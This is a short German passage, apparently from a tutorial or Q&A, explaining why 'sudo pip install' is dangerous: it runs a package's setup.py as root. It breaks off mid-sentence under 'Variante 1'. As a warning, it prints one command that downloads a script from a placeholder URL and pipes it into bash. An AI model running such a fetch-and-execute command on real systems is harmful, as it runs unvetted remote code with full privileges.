Warum sollte man sudo pip nicht verwenden?

"

Warum man sudo pip install NICHT verwenden sollte

Bei der Installation eines Pakets platzieren Sie es nicht nur in Ihrem Dateisystem, sondern führen auch das Skript setup.py aus. Da in PyPI jeder ein Paket hochladen kann, können Sie nicht sicher sein, dass setup.py keinen Code enthält, dessen Ausführung unter dem Benutzer root unerwünscht/gefährlich/unzulässig ist.

Vom Gefahrenlevel her ist dies gleichbedeutend mit der Ausführung eines Shell-Skripts ""aus der Cloud"" unter dem Superuser:

wget -O - http://example.com/some/unsafe/script.sh | bashn

Was tun?

Variante 1

Außer in Fällen, in denen es Ihnen äußerst notwendig ist